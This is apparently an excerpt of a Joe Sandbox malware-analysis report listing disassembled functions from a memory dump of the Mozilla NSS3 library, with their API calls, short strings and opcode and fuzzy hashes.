Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction ID: 85b987fcfce732bd404d97219e18d5fa91ee99ced115377579d106a6781fb84d
Opcode Fuzzy Hash: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction Fuzzy Hash: 0831A6F1E007016BEB209F65ED45A6776E4AF0274DB044438E84A87F41FB31E518CB9A

Function 6C675E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C675ECF
EnterCriticalSection.KERNEL32(?), ref: 6C675EE3
PR_Unlock.NSS3(?), ref: 6C675F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C675FB5

Strings

S&il, xrefs: 6C6762E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6761F4
S&il, xrefs: 6C675E6C, 6C67627F, 6C675F12

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&il$S&il
API String ID: 2280678669-799787219
Opcode ID: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction ID: 72babd3dec1150e0d7e59fb28f89b766a4738306dc6d7f89be3ed7cd6f4321ee
Opcode Fuzzy Hash: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction Fuzzy Hash: BCF106B5A00215CFDB54CF28C884B86BBF4FF09304F1586AAD9089B746E774DA85CFA5

Function 6C6C0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ll), ref: 6C6C0C81

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

Part of subcall function 6C698500: SECOID_GetAlgorithmTag_Util.NSS3(6C6995DC,00000000,00000000,00000000,?,6C6995DC,00000000,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C698517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0CC4

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6C0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6C0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6C0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6C0D7D
free.MOZGLUE(00000000), ref: 6C6C0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0DC1
free.MOZGLUE(00000000), ref: 6C6C0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6C0E0F

Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995E0
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995F5
Part of subcall function 6C6995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C699609
Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C69961D
Part of subcall function 6C6995C0: PK11_GetInternalSlot.NSS3 ref: 6C69970B
Part of subcall function 6C6995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C699756
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?), ref: 6C699767
Part of subcall function 6C6995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C69977E
Part of subcall function 6C6995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C69978E

Strings

-$ll, xrefs: 6C6C0C64
*,ll, xrefs: 6C6C0DCC
*,ll, xrefs: 6C6C0C69, 6C6C0DE0, 6C6C0C80, 6C6C0C8B, 6C6C0CAF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ll$*,ll$-$ll
API String ID: 3136566230-2285576193
Opcode ID: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction ID: 989f0a31c556c2584ab16ee8ceb368326daa378d13eb2ffb1eeb58679e14f785
Opcode Fuzzy Hash: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction Fuzzy Hash: C641C0F1A01246ABEB009F64AC45BEF7AB4EF0530CF104424E91967741E735BA18CBEB

Function 6C6B5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6B5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6B5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6B5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6B5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6B5D80

Strings

sql:, xrefs: 6C6B5CD1, 6C6B5D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C6B5D1A
extern:, xrefs: 6C6B5CEA, 6C6B5D4B
multiaccess:, xrefs: 6C6B5CB8
dbm:, xrefs: 6C6B5D03, 6C6B5D60

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction ID: 4ff4066e98020141919391a073129acfe0af4377828fae0ad03100717c82ce2e
Opcode Fuzzy Hash: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction Fuzzy Hash: DA31F7A07413516BE7011A38EC49BEA37ECAF02349F144630EE55F6A82E772D521C39D

Function 6C6B6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C781DE0,?), ref: 6C6B6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6B6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6B6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6B6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6B6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6B6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6B6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6B6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6B7033
free.MOZGLUE(?), ref: 6C6B703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6B7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6B7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6B70AF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction ID: de297760b8e4570902a3f08134cf0cf4033cff3bd29828cb874390a473a00e34
Opcode Fuzzy Hash: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction Fuzzy Hash: 8FA129B19082019BEB188F24DC45B9B33A5DB8130CF244939F919EBB81E775D866C75B

Function 6C67AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF39
PR_Unlock.NSS3(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF69
TlsGetValue.KERNEL32 ref: 6C67B06B
EnterCriticalSection.KERNEL32(?), ref: 6C67B083
PR_Unlock.NSS3(?), ref: 6C67B0A4
TlsGetValue.KERNEL32 ref: 6C67B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C67B0D9
PR_Unlock.NSS3 ref: 6C67B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B182

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C67B177

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1C2

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction ID: c73c720e395a00100922ccd4b5ebd6714f69580e21471cf4aa05a7fbd812be4f
Opcode Fuzzy Hash: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction Fuzzy Hash: B2A1D1B1D00206ABEF109F64DC41BEEB7B4EF49308F144524E905A7712E732E959CBAA

Function 6C672C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?gl,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C62
EnterCriticalSection.KERNEL32(0000001C,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C76
PL_HashTableLookup.NSS3(00000000,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C93

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23), ref: 6C672CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672D4D
EnterCriticalSection.KERNEL32(?), ref: 6C672D61
PL_HashTableLookup.NSS3(?,?), ref: 6C672D71
PR_Unlock.NSS3(?), ref: 6C672D7E

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

#?gl, xrefs: 6C672C43

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?gl
API String ID: 2446853827-3528240498
Opcode ID: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction ID: 9ad7b14718b6e1c8ee91811fa165ace448525d4ee584b7cf5fde45cca95f9b67
Opcode Fuzzy Hash: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction Fuzzy Hash: B351E5B5D00605EBDB109F24DC458AA77B8FF1A35CB148930ED1897B11EB31E964C7E9

Function 6C6CAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CADB1

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6CADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6CAE08

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6CAE25
PL_FreeArenaPool.NSS3 ref: 6C6CAE63
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAE4D

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAE93
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAECC
PL_FreeArenaPool.NSS3 ref: 6C6CAEDE
PL_FinishArenaPool.NSS3 ref: 6C6CAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAEF5
PL_FinishArenaPool.NSS3 ref: 6C6CAF16

Strings

security, xrefs: 6C6CADEE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction ID: 30b04a4a87e8a1d094b011f1db4aa56e5b106d5621c01bb42be3d72708355082
Opcode Fuzzy Hash: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction Fuzzy Hash: 43413AB1A04304A7E7205B18EC49BAB72B8EF4630CF140625E914A2F42F735DA1AC7DF

Function 6C76AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C76AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C76AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C76AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C76AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C76B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B070
PR_JoinThread.NSS3(?), ref: 6C76B07B
free.MOZGLUE(?), ref: 6C76B084
EnterCriticalSection.KERNEL32(?), ref: 6C76B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B0C4
PR_JoinThread.NSS3(?), ref: 6C76B0F3
free.MOZGLUE(?), ref: 6C76B0FC
PR_JoinThread.NSS3(?), ref: 6C76B137
free.MOZGLUE(?), ref: 6C76B140

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction ID: f9ddc9833ab67dbbcbe1a80a245148f32037fe0ed269237f433b6ae319585ef8
Opcode Fuzzy Hash: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction Fuzzy Hash: 52916DB5900601DFCB04DF16C98494ABBF1FF8535872985A9E8195BF22E732FC46CB91

Function 6C6E5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2BF0
Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C07
Part of subcall function 6C6E2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C1E
Part of subcall function 6C6E2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C4A

free.MOZGLUE(?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D0F
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D4E
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D62
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D85
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D99
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E47
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F4B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

